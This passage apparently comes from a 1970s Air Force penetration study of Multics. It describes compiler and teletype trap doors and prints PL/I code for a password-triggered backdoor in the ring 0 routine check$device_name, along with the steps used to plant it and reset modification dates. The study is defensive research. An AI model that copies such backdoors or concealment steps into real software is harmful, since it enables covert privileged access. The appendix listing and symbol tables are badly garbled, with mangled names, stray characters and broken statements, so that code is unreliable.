It has often been hypothesized that a carefully written closed subsystem such as a query system or limited data management system without programming capabilities may be made invulnerable to security penetration. The teletype key string trigger is just one example of a trap door that provides the penetrator with a vulnerability in even the most limited subsystem. To create such a trap door, the agent modifies the supervisor teletype modules at the development site such that if the user types normally, no anomaly occurs, but if the user types a special key string, a dump/patch utility is triggered into operation to allow the penetrator unlimited access. The key string would of course have to be some very unlikely combination to avoid accidental discovery. The teletype key string trap door is somewhat more complex than the trap door described below in Section 3.4.5.2. However, it is quite straightforward to develop and insert with relatively nominal effort.

It was noted above that while object code trap doors are invisible, they are vulnerable to recomilations. The compiler (or assembler) trap door is inserted to permit object code trap doors to survive even a complete recompilation of the entire system. In Multics, most of the ring 0 supervisor is written in PL/1. A penetrator could insert a trap door in the PL/1 compiler to note when it is compiling a ring 0 module. Then the compiler would insert an object code trap door in the ring 0 module without listing the code in the listing. Since the PL/1 compiler is itself written in PL/1, the trap door can maintain itself, even when the compiler is recompiled. (38) Compiler trap doors are significantly more complex than the other trap doors described here, because they require a detailed knowledge of the compiler design. However, they are quite practical to implement at a cost of perhaps five times the level shown in Section 3.5. It should be noted that even costs several hundred times larger than those shown here would be considered nominal to a foreign agent.

There is also a variant on the compiler trap door called the initialization trap door. Here, the system initialization code is modified by the penetrator to insert other trap doors as the system is brought up. Such trap doors can be relatively invulnerable to

(38) This type of trap door does not require a higher level language. Entirely analogous trap doors could be placed in an assembler.
detection and recompilation, because system initialization is usually a very complex and poorly understood procedure.

3.4.5.2 Example of a Trap Door in Multics

To demonstrate the feasibility of inserting and distributing trap doors, the following object code change was made to check-device_name to provide a generalized dump or patch facility. Figure 13 shows a PL/I program that performs essentially the same function as the trap door actually inserted in the object code. The listing of the actual trap door and its calling program is in Appendix C. Check-device_name is normally called with three arguments, the third being a fixed binary error code. The trap door is inserted at the point at which check-device_name would have returned. The trap door looks at the 72 bits immediately following the error code that was passed by the caller. If those 72 bits match a predefined 72 bit password, then the fixed binary word to which ptr1 points is copied into the fixed binary word to which ptr2 points. Since check-device_name is a ring 0 procedure, this copy is carried out using the ring 0 descriptor segment and allows the caller to read or write any word in ring 0. Dump and patch utilities can use this trap door exactly like the Insufficient Argument Validation vulnerability. The 72 bit key is used to ensure that the vulnerability is not invoked by accident by some unsuspecting user.

The actual insertion of the trap door was done by the following steps:

1. Change user identification to project SysLib.

2. Make patch in object archive copy of check-device_name in >ldd>hard>object.

3. Reset DTM on object archive.


5. Reset DTM on bound archive.

6. Reset user identification.

This procedure ensured that the object patch was in all library copies of the segment. The DTM was reset as in Section 3.4.4, because the dates on library segments are
check$device_name: procedure (a, b, code);

declare 1 code parameter,
    2 err_code fixed binary (35),
    2 key bit (72) aligned,
    2 ptr1 pointer aligned,
    2 ptr2 pointer aligned;

declare overlay fixed binary (35) based;

/* Start of regular code */

    ...

/* Here check$device_name would normally return */

    if key = bit_string_constant_password
        then ptr2 -> overlay = ptr1 -> overlay;

    return;

end check$device_name;

Figure 13. Trapdoor in check$device_name
checked regularly for unauthorized modification. These operations did not immediately install the trap door. Actual installation occurred at the time of the next system tape generation.

A trap door of this type was first placed in the Multics system at MIT in the procedure del_dir_tree. However, it was noted that del_dir_tree was going to be modified and recompiled in the installation of Multics system 18.0. Therefore, the trap door described above was inserted in check$device_name just before the installation of 18.0 to avoid the recompilation problem. Honeywell was briefed in the spring of 1973 on the results of this vulnerability analysis. At that time, Honeywell recompiled check$device_name, so that the trap door would not be distributed to other sites.

3.4.6 Preview of 6180 Procedural Vulnerabilities

To actually demonstrate the feasibility of trap door distribution, a change which could have included a trap door was inserted in the Multics software that was transferred from the 645 to the 6180 at MIT and from there to all 6180 installations in the field.

3.5 Manpower and Computer Costs

Table III outlines the approximate costs in man-hours and computer charges for each vulnerability analysis task. The skill level required to perform the penetrations was that of a recent computer science graduate of any major university with a moderate knowledge of the Multics design documented in the Multics Programmers' Manual <MPM73> and Organick <ORC72>, plus nine months experience as a Multics programmer. In addition, the penetrator was aided by access to the system listings (which are in the public domain) and access to an operational Multics system on which to debug penetrations. In this example, the RADC system was used to test penetrations prior to their use at MIT, since a system crash at MIT would reveal the intentions of the penetrations. (39)

Costs are broken down into identification, confirmation, and exploitation. Identification is that

(39) It should be noted that while the MIT system was crashed twice due to typographical errors during the penetration, the RADC system was never crashed.

55
part of the effort needed to identify a particular vulnerability. It generally involves examination of system listings, although it sometimes involves computer work. Confirmation is that effort needed to confirm the existence of a vulnerability by using it in some manner, however crude, to access information without authorization. Exploitation is that effort needed to develop and debug command procedures to make use of the vulnerabilities convenient. Wherever possible, these command procedures follow standard Multics command conventions.

All figures in the table are conservative estimates as actual accounting information was not kept during the vulnerability analysis. However, costs did not exceed the figures given and in all probability were somewhat lower.

The costs of implementing the subverter and inverting the password scrambler are not included, because those tasks were not directly related to penetrating the system (See Downey <Dow74>). The Master Mode Transfer vulnerability has no exploitation cost shown, because that vulnerability was not carried beyond confirmation.
<table>
<thead>
<tr>
<th>Task</th>
<th>Identification</th>
<th>Confirmation</th>
<th>Exploitation</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Manhrs</td>
<td>CPU $</td>
<td>Manhrs</td>
<td>CPU $</td>
</tr>
<tr>
<td>Execute Instruction Access Check Bypass</td>
<td>60</td>
<td>$150</td>
<td>5</td>
<td>$30</td>
</tr>
<tr>
<td>Insufficient Argument Validation</td>
<td>1</td>
<td>$0</td>
<td>5</td>
<td>$30</td>
</tr>
<tr>
<td>Master Mode Transfer</td>
<td>0.5</td>
<td>$0</td>
<td>2</td>
<td>$20</td>
</tr>
<tr>
<td>Unlocked Stack Base</td>
<td>0.5</td>
<td>$0</td>
<td>8</td>
<td>$50</td>
</tr>
<tr>
<td>Forging User ID</td>
<td>5</td>
<td>$0</td>
<td>5</td>
<td>$30</td>
</tr>
<tr>
<td>check$device_name Trap door</td>
<td>5</td>
<td>$0</td>
<td>8</td>
<td>$50</td>
</tr>
<tr>
<td>Access Password File</td>
<td>1</td>
<td>$0</td>
<td>5</td>
<td>$30</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Total</td>
<td>73</td>
<td>$150</td>
<td>38</td>
<td>$240</td>
</tr>
</tbody>
</table>
SECTION IV
CONCLUSIONS

The initial implementation of Multics is an instance of an uncertified system. For any uncertified system:

a. The system cannot be depended upon to protect against deliberate attack.

b. System "fixes" or restrictions (e.g., query only systems) cannot provide any significant improvement in protection. Trap door insertion and distribution has been demonstrated with minimal effort and fewer tools (no phone taps) than any industrious foreign agent would have.

However, Multics is significantly better than other conventional systems due to the structuring of the supervisor and the use of segmentation and ring hardware. Thus, unlike other systems, Multics can form a base for the development of a truly secure system.

4.1 Multics is not Now Secure

The primary conclusion one can reach from this vulnerability analysis is that Multics is not currently a secure system. A relatively low level of effort gave examples of vulnerabilities in hardware security, software security, and procedural security. While all the reported vulnerabilities were found in the HIS 645 system and happen to be fixed by the nature of the changes in the HIS 6180 hardware, other vulnerabilities exist in the HIS 6180. (40) No attempt was made to find more than one vulnerability in each area of security. Without a doubt, vulnerabilities exist in the HIS 645 Multics that have not been identified. Some major areas not even examined are I/O, process management, and administrative interfaces. Further, an initial cursory examination of the HIS 6180 Multics easily turned up vulnerabilities.

We have seen the impact of implementation errors or omissions in the hardware vulnerability. In the

(40) In all fairness, the HIS 6180 does provide significant improvements by the addition of ring hardware. However, ring hardware by itself does not make the system secure. Only certification as a well-defined closed process can do that.
software vulnerabilities, we have seen the major security impact of apparently unimportant ad hoc designs. We have seen that the development site and distribution paths are particularly attractive for penetration. Finally, we have seen that the procedural controls over such areas as passwords and auditing are no more than "security blankets" as long as the fundamental hardware and software controls do not work.

4.2 Multics as a Base for a Secure System

While we have seen that Multics is not now a secure system, it is in some sense significantly "more secure" than other commercial systems and forms a base from which a secure system can be developed. (See Lipner (LIP74).) The requirements of security formed part of the basic guiding principles during the design and implementation of Multics. Unlike systems such as OS/360 or GCOS in which security functions are scattered throughout the entire supervisor, Multics is well structured to support the identification of the security and non-security related functions. Further Multics possesses the segmentation and ring hardware which have been identified (SM174) as crucial to the implementation of a reference monitor.

4.2.1 A System for a Benign Environment

We have concluded that AFDSG cannot run an open multi-level secure system on Multics at this time. As we have seen above, a malicious user can penetrate the system at will with relatively minimal effort. However, Multics does provide AFDSG with a basis for a benign multi-level system in which all users are determined to be trustworthy to some degree. For example, with certain enhancements, Multics could serve AFDSG in a two-level security mode with both Secret and Top Secret cleared users simultaneously accessing the system. Such a system, of course, would depend on the administrative determination that since all users are cleared at least to Secret, there would be no malicious users attempting to penetrate the security controls.

A number of enhancements are required to bring Multics up to a two-level capability. First and most important, all segments, directories, and processes in the system should be labeled with classification levels and categories. This labeling permits the classification check to be combined with the ACL check and to be represented in the descriptor segment. Second, an earnest
review of the Multics operating system is needed to identify vulnerabilities. Such a review is meaningful in Multics, because of its well structured operating system design. A similar review would be a literally endless task in a system such as OS/360 or GCOS. A review of Multics should include an identification of security sensitive modules, an examination of all gates and arguments into ring 0, and a check of all intersegment references in ring 0. Two additional enhancements would be useful but not essential. These are some sort of "high water mark" system as in ADEPT-50 (see Weissman [WFI60]) and some sort of protection from user written applications programs that may contain "Trojan Horses".

4.2.2 Long Term Open Secure System

In the long term, it is felt that Multics can be developed into an open secure multi-level system by restructuring the operating system to include a security kernel. Such restructuring is essential since malicious users cannot be ruled out in an open system. The procedures for designing and implementing such a kernel are detailed elsewhere. [AMM73, BL73-1, BL73-2, LIP73, PRI73, SCH73, SCH173, WAL74] To briefly summarize, the access controls of the kernel must always be invoked (segmentation hardware); must be tamperproof (ring hardware); and must be small enough and simple enough to be certified correct (a small ring 0). Certifiability is the critical requirement in the development of a multi-level secure system. ESD/MCI is currently proceeding with a development plan to develop such a certifiably secure version of Multics [ESD73].
REFERENCES


<IBM70> IBM System/360 Operating System Service Aids, IBM System Reference Library, GC28-6719-0, June 1970.


<IPC73> Information Processing Center, Summary of the MG180 Processor, Massachusetts Institute of Technology, 22 May 1973.


<SAL73> Saltzer, Jerome H., "Protection and Control of Information Sharing in Multics," ACM Fourth Symposium on


APPENDIX A

Subverter Listing

This appendix contains listings of the three program modules which make up the hardware subverter described in Section 3.2.1. The three procedure segments which follow are called subverter, coded in PL/l; access_violations, coded in PL/l; and subv, coded in assembler. Subverter is the driving routine which sets up timers, manages free storage, and calls individual tests. Access_violations contains several entry points to implement specific tests. Subv contains entry points to implement those tests which must be done in assembler.

The internal procedure check_zero within subverter is used to watch word zero of the procedure segment for unexpected modification. This procedure was used in part to detect the Execute Instruction Access Check Bypass vulnerability.

The errors flagged in the listing of subv are all warnings of obsolete 645 instructions, because the attached listing was produced on the 6180.
subverters

procedure;

declare

hcs_$initialize entry (char (*), char (*), char (*), fixed bin (1), fixed bin (2), ptr, fixed bin),
date_time_entry (fixed bin (7)), char (*),)
default_handler_$set entry (entry), /* establishes default condition handler */
timer_manager_$reset_alarm entry (fixed bin (7), bit (2), entry),
/* sets alarm clocks */
timer_manager_$reset_alarm_call entry (entry), /* resets alarm clocks */
hcs_$make_seg entry (char (*), char (*), char (*), fixed bin (5), ptr, fixed bin),
/* create a segment */
user_info_gramexit entry (char (*)),
cu_$arg_ptr entry (fixed bin, ptr, fixed bin, fixed bin),
/* get pointer to arguments */
com_err_entry options (variable), /* prints error messages */
ioa_$ioa_stream entry options (variable), /* prints on io streams */
ioa_$entry options (variable), /* prints on user_output */
cu_dec_check_entry entry (char (*), fixed bin) returns (fixed bin (35)), /* string to numeric conversion */
subverters timer ext entry, /* entry to do the testing */
(subv$sca,
subv$sdrt,
subv$ldr,
subv$dbc,
subv$clk,
subv$dias,
subv$rca,
subv$sca,
subv$p手指,
subv$mic,
subv$elm,
subv$sm,
subv$cu,

access_violations_illegal_opcodes,
access_violations_illegal_fetch,
access_violations_illegal_store,
access_violations_illegal_fetch,
access_violations_illegal_store,
access_violations_illegal_sid,
access_violations_illegal_bounds_fault,
access_violations_illegal_bounds_fault)
entry (ptr),
clock_entry returns (fixed bin (71));

declare

i fixed bin,
fp pointer,
sp pointer int static,
/* points to failure blocks */
code fixed bin,
/* points to statistics segment */
wdir char (68),
/* points to statics segment */
arg char (argl) based (argp),
argl fixed bin,
argp pointer,
error_table &&badopt fixed bin (35) ext static,
seg_version fixed bin int static init (1),
max_test fixed bin int static init (22),
test_names (22) int static char (32) init ("cas", "scu", "ldt", "lidb", "sdbr", "cloc", "dis",
"rsc", "rsca", "smc", "lcm", "lc", "lma", "ms", "rc", "fetch_access_violation",
"store_access_violation", "xed_fetch_access_violation", "xed_store_access_violation",
"it_access_violation", "legal_bounds_fault", "illegal_bounds_fault", "illegal_opcode"),
ref_label label int static,
interval fixed bin (35) int static,
time fixed bin (71);

/* start of include file subvert_statistics.inc1pli */

Initially coded by 2 Lt. Paul Karger 19 July 1972 0930 */

declare

1 subvert_statistics based(sp) aligned,
  2 cur_test fixed bin(17) unal,
  2 next_code fixed bin(17) unal, /* number of current test in progress */
  2 next_opcode number */
  2 end_of_segment fixed bin(17) unal, /* rel pointer to end of segment */
  2 last_failure_block fixed bin(17) unal, /* rel pointer to last failure block used */
  2 test_in_progress fixed bin, /* test number of test in progress
     = 0 if no test in progress
     identifies test in progress if machine crashes */
  2 time_of_last_test fixed bin(71),
  2 cum_Total_time fixed bin(71),
  2 number_tests fixed bin,
  2 tests(b refer(number_of_tests)) aligned,
    3 number_of_attempts fixed bin, /* number of attempts of this test */
    3 number_of_failures fixed bin, /* number of machine or software failures found */
    3 failure_block_ptr fixed bin(17) unal, /* rel pointer to start of threaded list of failure blocks */
  2 last_test_time fixed bin(71),
  2 cum_test_time fixed bin(71);

/* End of subvert_statistics.inc1pli */

/* Start of include file failure_block.inc1pli */

Initially coded by 2 Lt. Paul Karger 19 July 1972 0930 */

Modified 21 July 1972 0820 by P. Karger to use fixed bin unal */

declare

1 failure_block based(fp) aligned,
  2 version fixed bin, /* version number = 1 */
  2 type fixed bin, /* index of test in test array */
  2 time_of_failure fixed bin(71),
  2 next_block fixed bin(17) unal, /* rel pointer to next failure block of this type */
  2 scu_data(5) fixed bin /* to be defined */
/* End of include file failure_block.incl.pl1 */

    interval = 60; /* default interval = 60 seconds */
    if code = 0 then
        do;
            if arg = "stop" then
                do;
                    call timer_manager$reset_alarm (subverter$timer);
                    return;
                end;
            interval = cv$dec_check_ (arg, code);
            if code "=" 0 then
                do;
                    call com$err_ (error_table$badopt, "subverter", arg);
                    return;
                end;
            end;
        end;
        call user_info$showdir (wdir);
        call hcs$make_seg (wdir, "subvert_statistics", "", 01011b, sp, code);
        if sp = null () then
            do;
                no$seg:
                    call com$err_ (code, "subverter", "subvert_statistics")
                    return;
                end;
            if code = 0 then
                do;
                    last$failure$block, end_of_segment = 100000000000000000b
                    /* 64K segment length */
                    number_of_tests = max$test;
                    cur$test = 1;
                    next$code = -1;
                end;
            else
                do; /* segment already exists */
                    if test$in$progress "=" 0 then
                        do;
                            call com$err_ (0, "subverter",
                            "Test "a was in progress. Call subverter$reset to clear segment and resume.",
                            test$names (test$in$progress));
                            return;
                        end;
                    end;
                    finish$setup;
                    time_of_last$test = clock_ ();
                    do i = 1 to number_of_tests;
                        last$test$time (i) = time_of_last$test;
                    end;
                    call timer_manager$reset_alarm (subverter$timer);
                    /* start in 1 second */
                    return;
                end;
            end;
        end;
        subverter$reset:
        entry:
            if test$in$progress = 22 /* illegal opcode test */ then next$code = next$code - 1;
go to finish_setup;

subverter$timer:
    entry ();
    call check_zero ();
    ret_label = next_setup;
    call default_handler$set (fault_handler);
    call get_failure_block (cur_test);
    number_of_attempts (cur_test) = number_of_attempts (cur_test) + 1;
    time = clock() ;
    cum_total_time = cum_total_time + time - time_of_last_test;
    time_of_last_test = time;
    cum_test_time (cur_test) = cum_test_time (cur_test) + time - last_test_time (cur_test);
    last_test_time (cur_test) = time;
    go to c (cur_test);

    c (1):
    call subv$cam (fp);
    go to scream_bloody_murder;

    c (2):
    call subv$scu (fp);
    go to scream_bloody_murder;

    c (3):
    call subv$idt (fp);
    go to scream_bloody_murder;

    c (4):
    call subv$idbr (fp);
    go to scream_bloody_murder;

    c (5):
    call subv$sdbr (fp);
    go to scream_bloody_murder;

    c (6):
    call subv$clcc (fp);
    go to scream_bloody_murder;

    c (7):
    call subv$dis (fp);
    go to scream_bloody_murder;

    c (8):
    call subv$cam (fp);
    go to scream_bloody_murder;

    c (9):
    call subv$sacm (fp);

c (10) :
call subvsmic (fp);
go to scream_bloody_murder;

c (11) :
call subvslac (fp);
go to scream_bloody_murder;

c (12) :
call subvslam (fp);
go to scream_bloody_murder;

c (13) :
call subvsmem (fp);
go to scream_bloody_murder;

c (14) :
call subvsrceu (fp);
go to scream_bloody_murder;

c (15) :
call access_violations_sfetch (fp);
go to scream_bloody_murder;

c (16) :
call access_violations_sstore (fp);
go to scream_bloody_murder;

c (17) :
call access_violations_sxed_fetch (fp);
go to scream_bloody_murder;

c (18) :
call access_violations_sxed_store (fp);
go to scream_bloody_murder;

c (19) :
call access_violations_sid (fp);
go to scream_bloody_murder;

c (20) :
call access_violations_siegal_bounds_fault (fp);
go to scream_bloody_murder;

c (21) :

go to scream_bloody_murder;

c (22):
    call access_violations_illegal_opcodes (fp);
    go to scream_bloody_murder;

scream_bloody_murder:
    number_of_failures (cur_test) = number_of_failures (cur_test) + 1;
    call ioa_sioa_string ("error_output",
        "/#/From subverter: Test "R"a"B succeeded!/#/",
        test_names (cur_test)
    );
    test_in_progress = 0;

next_setup:
    call check_zero ();
    if cur_test = max_test then cur_test = 1;
    else cur_test = cur_test + 1;
    time = interval;
    call timer_manager_service_call_inhibit (time, "11"b, subverter$timer);
    return;

display:

entry ();
    call user_info_showedir (wdir);
    call hsc$initialize (wdir, "subvert_statistics", "", 0, 0, sp, code);
    if sp = null () then goto no_seg;

    call ioa_ ("/-/"-Display of subverter statistics./")
    if test_in_progress == 0 then call ioa_ ("Test "R"a"B in progress.", test_names (test_in_progress));

    call ioa_ ("Total testing time = ".2f hours.", cum_total_time/36000000.0e0)
    call ioa_ ("/-/-Cumulative/");
    call ioa_ ("/-/-Test_Name/-/-Test_Time/-/-Attempts/-/-Failures/");
    do i = 1 to number_of_tests;
        call ioa_ ("/-/"-30a ".2f ".8d ".8d", test_names (i), cum_test_time (i)/3600000000.0e0,
        number_of_attempts (i), number_of_failures (i));
        do fp = pointer (sp, failure_block_ptr (i)) repeat (pointer (sp, next_block)) while (rel (fp) == "0"b);
            call date_time (time_of_failure, dt_string);
            call ioa_ ("/-/-Failure at ".a."", dt_string);
        end;
    end;
    return;
gst_failure_block:

proc (i);

    declare
        block_size (22) fixed bin init ((22) 32) int static,
        i fixed bin (17) unal,
        p ptr,
        fp ptr;
    do p = pointer (sp, failure_block_ptr (i)) repeat (pointer (sp, fp -> next_block)) while (rel (p) == "0"b);
        fp = fp
    end;
end;
if failure_block_ptr (i) = 0 then
  /* there already exists >= 1 failure blocks for this type */
  do;
    fp = next_block, last_failure_block = last_failure_block - block_size (i); /* thread on new block */
    fp = pointer (sp, fp -> next_block); /* set the pointer to the new block */
  end;
else
  /* this is the first failure block for this test type */
  failure_block_ptr (i), last_failure_block = last_failure_block - block_size (i); /* thread on the block */
  fp = pointer (sp, failure_block_ptr (i)); /* set the pointer */
  fp -> failure_block_version = seg_version; /* initialize the block */
  fp -> type = 1;
return;
end;

free_failure_block::
entry (l);
fp -> failure_block_version, fp -> type = 0; /* zero the data */
do p = pointer (sp, failure_block_ptr (l)) repeat (pointer (sp, p -> next_block)) while (rel (p) =
  rel (fp));
fp = p;
/* find a pointer to the block just before the one to be free */
if p = pointer (sp, failure_block_ptr (l)) then fp -> next_block = 0;
else failure_block_ptr (l) = 0; /* if not first block then unthread from block before */
else unthread from header */
last_failure_block = last_failure_block + block_size (l); /* indicate space is free */
end;

fault_handler::
procedure (mc_ptr, cond_name, wc_ptr, info_ptr, continue);
/* procedure to catch interrupts */
declare
  mc_ptr, /* pointer to saved machine conditions */
  wc_ptr, /* pointer to machine conditions in ring 0 */
  info_ptr, /* pointer to software defined info */
ptr,
cond_name char (*), /* name of condition */
i fixed bin,
num_classes char fixed bin int static init (0), /* bit to indicate to continue search for handler */
continue bit (1) aligned,
cond (32) char (32) int static init ("illegal_procedure", "635/645_compatibility", "635_compatibility", "undefined_acc", "access violation", "bounds_fault-ok", "out bounds"), /* illegal_opcode") */
array of cond names */
do i = 1 to num_classes;
  /* loop through the condition name array */
  if cond_name = cond (i) then do;
    test_in_progress = 0; /* we want this condition */
    call free_failure_block (cur_test);
    /* free the failure block */
end;
continue = "i"b;
return;
end;
check_zero:
/* This is a procedure to check for clobbering of bound_subvert */
declare
  1 impure based (impure_ptr) aligned,
  2 lock_word bit (36) aligned,
  2 compare_word bit (36) aligned;
declare
  word_zero bit (36) aligned based (pointer (impure_ptr, 0)),
  impure_ptr pointer based (addr (label_var)),
  label_var label,
  exec_com entry options (variable),
  setae entry options (variable);
label_var = dummy_label;
if lock_word ^= "0"b then
  do;
call setae (">udd>d>pak>subverter", "rera", "Karger.Druid.x");
  compare_word = word_zero;
  lock_word = "0"b;
call setae (">udd>d>pak>subverter", "re", "Karger.Druid.x");
  end;
else
  if compare_word ^= word_zero then call exec_com (">udd>Druid>Karger>subverter_error",
    test_names (cur_test));
  return;
dummy_label:
i = i + 1;
i = i + 1;
end;
<table>
<thead>
<tr>
<th>LINE</th>
<th>NUMBER</th>
<th>NAME</th>
<th>PATHNAME</th>
</tr>
</thead>
<tbody>
<tr>
<td>70</td>
<td>1</td>
<td>subvert_statistics.incl.pl1</td>
<td>/user_dir_dir/Druid/Karger/compiler_pool/subvert_statistics.incl.pl1</td>
</tr>
<tr>
<td>71</td>
<td>2</td>
<td>failure_block.incl.pl1</td>
<td>/user_dir_dir/Druid/Karger/compiler_pool/failure_block.incl.pl1</td>
</tr>
</tbody>
</table>
### NAMES DECLARED IN THIS COMPILATION.

<table>
<thead>
<tr>
<th>IDENTIFIER</th>
<th>OFFSET</th>
<th>LOC</th>
<th>STORAGE CLASS</th>
<th>DATA TYPE</th>
<th>ATTRIBUTES AND REFERENCES</th>
</tr>
</thead>
<tbody>
<tr>
<td>access_violations_fetch</td>
<td>000374</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 215</td>
<td></td>
</tr>
<tr>
<td>access_violations_sid</td>
<td>000404</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 235</td>
<td></td>
</tr>
<tr>
<td>access_violations_illegal_bounds_fault</td>
<td>000410</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 245</td>
<td></td>
</tr>
<tr>
<td>access_violations_illegal_opcodes</td>
<td>000372</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 250</td>
<td></td>
</tr>
<tr>
<td>access_violations_illegal_bounds_fault</td>
<td>000406</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 240</td>
<td></td>
</tr>
<tr>
<td>access_violations_store</td>
<td>000376</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 220</td>
<td></td>
</tr>
<tr>
<td>access_violations_store</td>
<td>000406</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 225</td>
<td></td>
</tr>
<tr>
<td>arg</td>
<td>000402</td>
<td>constant</td>
<td>char</td>
<td>external dcl 7 ref 230</td>
<td></td>
</tr>
<tr>
<td>argl</td>
<td>000155</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>dcl 50 set ref 75 81 84 84</td>
<td></td>
</tr>
<tr>
<td>argp</td>
<td>000166</td>
<td>automatic</td>
<td>pointer</td>
<td>dcl 50 set ref 76 81 84 84</td>
<td></td>
</tr>
<tr>
<td>block_size</td>
<td>000126</td>
<td>constant</td>
<td>fixed bin(17,0)</td>
<td>dcl 50 set ref 73 76 81 84 84</td>
<td></td>
</tr>
<tr>
<td>clock</td>
<td>000127</td>
<td>constant</td>
<td>fixed bin(17,0)</td>
<td>dcl 50 set ref 73 74 81 82 89 92 96 274</td>
<td></td>
</tr>
<tr>
<td>code</td>
<td>000128</td>
<td>constant</td>
<td>entry</td>
<td>dcl 50 set ref 73 74 81 82 89 92 108</td>
<td></td>
</tr>
<tr>
<td>compare_word</td>
<td>1</td>
<td>based</td>
<td>char</td>
<td>level 2 dcl 373 set ref 386 391</td>
<td></td>
</tr>
<tr>
<td>cond_name</td>
<td>000026</td>
<td>constant</td>
<td>char(32)</td>
<td>external dcl 7 ref 73</td>
<td></td>
</tr>
<tr>
<td>continue</td>
<td>000372</td>
<td>constant</td>
<td>fixed bin(17,0)</td>
<td>array level 3 dcl 1-7 set ref 142 142 285</td>
<td></td>
</tr>
<tr>
<td>cv_end_ptr</td>
<td>000127</td>
<td>constant</td>
<td>entry</td>
<td>level 2 dcl 1-7 set ref 142 142 281</td>
<td></td>
</tr>
<tr>
<td>cv_end_total_time</td>
<td>20</td>
<td>based</td>
<td>fixed bin(17,0)</td>
<td>level 2 packed unaligned dcl 1-7 set ref 181 187</td>
<td></td>
</tr>
<tr>
<td>cv_total_time</td>
<td>6</td>
<td>based</td>
<td>fixed bin(17,0)</td>
<td>138 136 142 142 142 142 144 255 255 257 257 266 266 265 255 362 391</td>
<td></td>
</tr>
<tr>
<td>cv_time</td>
<td>000332</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 81</td>
<td></td>
</tr>
<tr>
<td>default_handler_set</td>
<td>000306</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 89</td>
<td></td>
</tr>
<tr>
<td>dt_string</td>
<td>000310</td>
<td>constant</td>
<td>entry</td>
<td>external dcl 7 ref 135</td>
<td></td>
</tr>
<tr>
<td>entry_format</td>
<td>000414</td>
<td>external static</td>
<td>fixed bin(17,0)</td>
<td>unaligned dcl 50 set ref 289 290</td>
<td></td>
</tr>
<tr>
<td>exec_comm</td>
<td>000416</td>
<td>constant</td>
<td>entry</td>
<td>level 2 packed unaligned dcl 1-7 set ref 98</td>
<td></td>
</tr>
<tr>
<td>failure_block_ptr</td>
<td>14</td>
<td>based</td>
<td>fixed bin(17,0)</td>
<td>dcl 50 set ref 84</td>
<td></td>
</tr>
<tr>
<td>fp</td>
<td>000102</td>
<td>automatic</td>
<td>pointer</td>
<td>external dcl 377 ref 391</td>
<td></td>
</tr>
<tr>
<td>hcs_initiate</td>
<td>000304</td>
<td>constant</td>
<td>entry</td>
<td>array level 3 packed unaligned dcl 1-7 set ref 287 303 307 316 316 329 333 335</td>
<td></td>
</tr>
<tr>
<td>hcs_make_tag</td>
<td>000316</td>
<td>constant</td>
<td>entry</td>
<td>dcl 50 set ref 146 150 155 160 165 170 175 180 185 190 195 200 205 210 215 220 225 230 235 240 245 250 255 277 287 299 303 307 309 316 316 318</td>
<td></td>
</tr>
<tr>
<td>hcs_tag</td>
<td>000416</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>322 326 328 329</td>
<td></td>
</tr>
<tr>
<td>i</td>
<td>000100</td>
<td>automatic</td>
<td>fixed bin(17,0)</td>
<td>135 395 397</td>
<td></td>
</tr>
<tr>
<td>il</td>
<td>000330</td>
<td>constant</td>
<td>entry</td>
<td>322 326 328 333 335 336</td>
<td></td>
</tr>
<tr>
<td>i</td>
<td>000100</td>
<td>automatic</td>
<td>pointer</td>
<td>dcl 346 set ref 358 359</td>
<td></td>
</tr>
<tr>
<td>i</td>
<td>000100</td>
<td>automatic</td>
<td>pointer</td>
<td>dcl 377 ref 353 356 356 387 391 391</td>
<td></td>
</tr>
<tr>
<td>i</td>
<td>000100</td>
<td>automatic</td>
<td>pointer</td>
<td>dcl 377 ref 342</td>
<td></td>
</tr>
</tbody>
</table>
uc_ptr parameter pointer
dir based char(168) dcl 346 ref 342
word_zero based bit(36)
unaligned dcl 50 set ref 88 89 273 274
dcl 377 ref 386 391

NAMES DECLARED BY DECLARE STATEMENT AND NEVER REFERENCED:
failure_block based structure level 1 dcl 2-10
failure_block based structure level 1 dcl 373
measure based structure array level 2 dcl 2-10
scu_data 5 based fixed bin(17,0) level 1 dcl 1-7
tests based structure array level 2 dcl 1-7

NAMES DECLARED BY EXPLICIT CONTEXT:
c 000000 constant label dcl 146 ref 144 146 150 155 160 165 170 175 180 185 190 195 200 205 210 215 220 225 230 235 240 245 250

check_zero 002677 constant entry internal dcl 370 ref 134 262 370
check_zero 002677 constant entry external dcl 271 ref 271
dcl 395 ref 395
dummy_label 003046 constant label internal dcl 342 ref 136 136 342
dummy_label 003046 constant label internal dcl 326 ref 326 326
dummy_label 003046 constant label internal dcl 298 ref 298 298
dummy_label 003046 constant label internal dcl 262 ref 262 262

dummy_label 003046 constant label internal dcl 92 ref 92 275
dummy_label 003046 constant label internal dcl 255 ref 146 192 197 162 167 172 177 182 187 192 197 202 207 212 217 222 227 232 237 242 247 252 255
dummy_label 003046 constant label internal dcl 3 ref 3

dummy_label 003046 constant label internal dcl 125 ref 125
dummy_label 003046 constant label internal dcl 132 ref 132

NAMES DECLARED BY CONTEXT OR IMPLICATION:
addr built-in function internal ref 383 386 386 387 391 391
null built-in function internal ref 90 275
pointer built-in function internal ref 287 287 303 303 311 311 329 329 329 333
rel built-in function internal ref 287 303 329 329

STORAGE REQUIREMENTS FOR THIS PROGRAM.

<table>
<thead>
<tr>
<th>Object</th>
<th>Text</th>
<th>Link</th>
<th>Symbol</th>
<th>Data</th>
<th>Static</th>
</tr>
</thead>
<tbody>
<tr>
<td>Start</td>
<td>0</td>
<td>0</td>
<td>3542</td>
<td>4154</td>
<td>3857</td>
</tr>
<tr>
<td>Length</td>
<td>4540</td>
<td>3057</td>
<td>422</td>
<td>342</td>
<td>463</td>
</tr>
</tbody>
</table>

